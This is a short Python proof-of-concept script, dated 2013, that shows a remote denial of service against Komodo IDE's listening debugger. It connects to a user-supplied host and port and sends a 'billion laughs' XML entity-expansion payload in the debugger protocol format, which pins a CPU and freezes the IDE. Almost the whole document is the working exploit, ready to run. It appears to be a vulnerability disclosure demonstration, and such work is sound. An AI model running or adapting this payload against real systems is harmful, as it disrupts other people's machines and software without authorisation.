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Demonstrate that Komodo IDE with debugger listening can be frozen with one CPU at 100% for longer, remotely
#! /usr/bin/env python
# Copyright (C) 2013 Sebastian Pipping <sebastian@pipping.org>
# Licensed under GPL v3 or later
#
# Demonstrate that Komodo IDE with debugger listening
# can be frozen with one CPU at 100% for longer, remotely
#
# https://community.activestate.com/node/10396
import argparse
import socket
BILLION = """\
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT init (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<init xmlns="urn:debugger_protocol_v1">&lol9;</init>
"""
def send_xml(sock, xml):
data = '%d\0%s\0' % (len(xml), xml)
sock.send(data)
def main(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
send_xml(sock, BILLION)
sock.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('host', metavar='HOST')
parser.add_argument('port', metavar='PORT', type=int)
options = parser.parse_args()
main(options.host, options.port)
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